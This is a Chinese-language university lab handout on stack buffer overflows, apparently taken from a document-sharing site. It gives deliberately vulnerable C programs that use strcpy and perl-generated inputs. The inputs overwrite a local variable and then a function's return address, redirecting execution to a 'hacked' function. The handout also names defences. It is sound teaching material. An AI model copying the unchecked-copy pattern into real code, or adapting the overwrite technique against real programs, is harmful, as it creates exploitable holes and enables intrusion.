




版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、实验二 栈溢出实验【实验内容】利用栈溢出修改变量值利用栈溢出修改函数返回地址,运行恶意代码【实验类型】验证型实验【实验学时】3学时【实验原理】如果向栈上声明的缓冲区中复制数据,但是复制到数据量又比缓冲区大的时候,就会发生栈溢出。在栈上声明的各种变量的位置紧临函数调用程序的返回地址。若用户输入的数据未经验证就传递给strcpy这样的函数,则会导致变量值被攻击者指定的值所改写或调用函数的返回地址将被攻击者选择的地址所覆盖,打乱程序正常运行流程,转而执行恶意代码。防范栈溢出的有效方法有:禁止栈执行,从而阻止攻击者植入恶意代码;编写安全可靠的代码,始终对输入的内容进行验证;利用编译器的边界检查实现栈保
2、护。【实验环境】Linux实验台(CentOS)gcc和gdb工具【实验步骤】打开Linux实验台,输入用户名和口令,进入系统。一、 修改变量值(1) 新建stackover1.c文件:touch stackover1.c;(2) 编辑stackover1.c文件:vim stackover1.c,按i键进如编辑模式,输入示例程序1,按Esc键退出编辑模式,进入命令行,输入:wq保存并退出文件编辑,上述过程如图3.5.37和图3.5.38所示; (3) 查看编辑结果:cat stackover1.c,如图3.5.39所示; (4) 生成可执行文件:gcc stackover1.c o stac
3、kover1;(5) 运行执行文件:./ stackover1 ABCDE,执行结果如图3.5.310所示; 从结果中可以看出,x的值为程序中的设定值10;(6) 在内存中x紧邻buf,所以输入11个字符制造栈缓冲区溢出,以修改x所在地址空间的值:./ stackover1 ABCDEFGHIJK,运行结果如图3.5.311所示; x的值为75,对应K的ASCII码,x的值发生改变;(7) 利用perl命令输入适当的字符串,将x的值修改为任意指定的值,如修改为30,十六进制为0x1e:./ stackover1 perl e print “A”x10 . “x1e”,运行结果如图3.5.312
4、所示; x的值为30,修改成功。示例程序1:#include <stdio.h>#include <string.h>void function(char * str) char buf10; int x=10; strcpy(buf,str); printf("x=%dn",x);int main(int argc,char * argv) function(argv1); return 0;二、 修改函数返回地址,运行恶意代码(1) 参照上述步骤,新建stackover2.c文件,输入示例程序2,生成可执行文件stackover2;(2) 运行可
5、执行文件并查看结果:./ stackover2 AAAAA,结果如图3.5.313所示; 从结果中可以看出程序运行的栈情况,foo函数的返回地址位于第7个位置上,bar的函数入口地址为0x08048421;(3) 随意输入多个字符制造栈溢出:./ stackover2 perl e print “A”x25,运行结果如图3.5.315所示; (4) 构造输入字符串,将第7个位置修改为bar函数入口地址,即修改foo函数的返回地址为bar函数的入口地址,以修改程序运行流程:./ stackover2 perl e print “A”x14 . “x21x84x04x08”,运行结果如图3.5.3
6、17所示; bar函数运行,打印出“Hi!Youve been hacked!”,攻击成功。通常我们无法获取函数的地址和程序运行时栈的情况,需要通过反编译来查看变量地址或函数的入口地址,通过深入理解程序运行时的内存分配来计算函数返回地址在内存中的位置,以便达到修改程序运行流程、执行恶意代码的目的示例程序2#include <stdio.h>#include <string.h>void foo(const char *input)char buf10;printf("My stack looks like:n%p n%p n%p n%p n%p n%p n%p
7、 n%p n n");strcpy(buf,input);printf("%sn",buf);printf("Now the stack looks like:n%p n%p n%p n%p n%p n%p n%p n%p n n");void bar(void)printf("Hi!You've been hacked!n"); int main(int argc,char *argv)printf("Address of foo=%p n",foo);printf("Address of bar=%p n",bar);foo(argv1);return 0;【实验思考】尝试分析并画出上述程序的栈结构,可借助gdb命令;尝试在Windows环境下进行上述实验,并分析与Linux环境下的异同;根据程序运行时的内存分配原理计算函数的返回地址;以示例程序3为例,通过计算快速实现nevercalled函数的运行。示例程序3#include <stdio.h>#include <string.h>void nevercalled() printf("never calledn"); exit(0);void funct
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 校园社团联合活动合作合同(2篇)
- 新质生产力范式
- 2025电商平台转让合同示范文本
- 医疗新质生产力绿色
- 2025融资租赁代理合同
- 2025在职员工兼职合同范本
- 2025年教师资格之幼儿保教知识与能力题库综合试卷A卷附答案
- 列强入侵与民族危机教学设计3人民版(美教案)
- 如何挖掘新质生产力
- 新质生产力党员
- 中华医学会肺癌临床诊疗指南(2024版)解读
- 断绝兄弟关系协议书(2篇)
- 《动物防疫》课件
- 2025年山东银座集团股份有限公司招聘笔试参考题库含答案解析
- (完整版)大学学术英语读写教程下册课文翻译
- 山西焦煤招聘2025笔试题库
- 《Hadoop技术原理》课件-11.Flume
- 太子参的种植方法及管理
- 国开大学2024秋《国家开放大学学习指南》在线形考(任务一至五)试题及答案
- 高压设施维修合同范例
- AI新时代算力需求高增长-算力网络建设有望奔向太空
评论
0/150
提交评论